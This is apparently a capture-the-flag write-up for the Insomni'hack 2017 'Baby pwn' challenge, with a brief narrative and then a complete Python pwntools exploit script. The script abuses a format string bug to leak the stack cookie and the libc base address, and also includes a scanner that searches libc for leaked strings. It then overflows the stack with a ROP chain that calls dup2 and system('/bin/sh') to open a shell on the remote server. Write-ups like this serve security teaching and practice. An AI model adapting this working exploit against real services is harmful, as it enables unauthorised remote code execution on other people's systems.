It was actually a nice challenge, you get a format string, stack AND heap overflow. Trick is, ALL of the security is on.
There are many ways to do this challenge, I went for info leak the cookie and segments with the format string and then rop to system.
I got it working locally with a bit of a hack job, SEVERAL HOURS LATER, I had finished my make-code-less-shit campaign, only to realise that pwntools wasn't having a fun time with the network.
---
Turns out that wasn't the case, the problem was I was assuming some offsets that I shouldn't have assumed.
I got so frustrated that I wrote a script to leak and dereference pointers from the format string and then try and find the dereferenced string in the libc binary given. Once I found a hit I could then subtract it's location in libc and I'd know the start of libc on the remote server.
Then I leak the cookie and do my rop chain.
#!/usr/bin/env python # -*- coding: utf-8 -*- # pasteBin # # Insomni'hack 2017 Baby pwn # format string to leak libc and cookie # stack overflow to rop chain dup(4,0) dup(4,1) system("/bin/sh") import sys from pwn import * local = True if len(sys.argv) == 2: local = False def extract_printf(refs): """ Given a bunch of refs e.g %x, %llx, %10$s return a list of the things they return """ # leak the 'r'th thing off the stack gen_ref = lambda r: "*{ref}*".format(ref=r) # generate a few of these in a row payload = "!!" payload += ''.join([gen_ref(r) for r in refs]) payload += "*OO" conn.sendline(payload) conn.recvuntil("!!*") leaks = conn.recvuntil("*OO") leaks = leaks.split('**')[:-1] # remove the OO conn.recvuntil("Your format >") return leaks # get one offset def deref_offset(offset): """ Leak the value at an offset using the format string """ code_leak_payload = "%{ref}$llx".format(ref=offset) return int(extract_printf([code_leak_payload])[0],16) # leak a pointer string def leak_offset(offset): code_leak_payload = "%{ref}$s".format(ref=offset) return extract_printf([code_leak_payload])[0] # get a few def deref_offset_list(offset, length): # leak the 'r'th thing off the stack offset_str = lambda r: "%{ref}$llx".format(ref=r) refs = [offset_str(x) for x in range(offset, offset + length)] ret = [ int(x,16) for x in extract_printf(refs)] # print ret return ret # get a few strings def leak_offset_list(offsets): """ Deref some things as strings using %s """ # leak the 'r'th thing off the stack offset_str = lambda r: "%{ref}$s".format(ref=r) refs = [offset_str(x) for x in offsets] ret = [ x for x in extract_printf(refs)] # print ret return ret def valid_pointer(data): """ Ballpark guess if something is a pointer, adjust to taste helps it to not crash :D """ if hex(data)[:3] != "0x7" and hex(data)[:3] != "0x5": return False if hex(data)[:4] == "0x78": # Y in asci return False if "000" in hex(data): return False dLen = len(hex(data)) if dLen != len("0x55f55d09d6a0") and dLen != len("0x63b944c753c6fc00"): return False return True def find_libc_offset(): """ 1) Leak memory using the format string 2) Find the valid pointers/offsets 3) Deref them and compare with libc 4) if match, calculate offset """ # leak a big range and then deref all the pointers till you find one in libc # then adjust the offset x = 3 # leak 10 at a time leak_size = 10 while True: # 1) Leak memory using the format string pointers = deref_offset_list(x, leak_size) # 2) Find the valid pointers/offsets valid_pointers = [pointer for pos, pointer in enumerate(pointers) if valid_pointer(pointer)] valid_offsets = [pos + x for pos, pointer in enumerate(pointers) if valid_pointer(pointer)] if len(valid_pointers) > 0: # 3) Deref them and compare with libc strings = leak_offset_list(valid_offsets) for pointer, string in zip(valid_pointers, strings): if len(string) > 1: # only worth checking for more than 1 byte # search for the string in libc code_segments = list(libc.search(string)) # is it unique in libc? if len(code_segments) == 1: offset_into_libc = code_segments[0] return pointer - offset_into_libc x += leak_size addr = "127.0.0.1" libc = elf.ELF("/lib/x86_64-linux-gnu/libc-2.24.so") if not local: addr = "baby.teaser.insomnihack.ch" libc = elf.ELF("libc.so") conn = remote(addr, 1337) context.arch = 'amd64' welcome = conn.recvuntil('Your choice >') print welcome, conn.sendline("2") # select format string conn.recvuntil("Your format >") conn.sendline("A"*100) # we don't want to find pointers that we might overwrite so clear it now conn.recvuntil("Your format >") # get the cookie cookie = deref_offset(138) libc.address = find_libc_offset() # smart memory leaking payload = "A"*8*129 # padding payload += p64(cookie) # stack cookie payload += "A"*8 # padding # use the magical pwntools rop functionality # alternativly if I needed to make a tight rop chain # I'd use libc.search(assemble("pop rdi; ret")) rop = ROP(libc) rop.dup2(4,0) rop.dup2(4,1) rop.dup2(4,2) rop.system(list(libc.search("/bin/sh\x00"))[0]) print rop.dump() payload += str(rop) # time to drop the shell :D conn.send('\n') conn.recvuntil('Your choice > ') conn.sendline('1') conn.recvuntil("How much bytes you want to send ? ") a = str(len(payload)) conn.send(a + (10-len(a))*'\x00') conn.send(payload) # we get a shell conn.interactive() conn.close()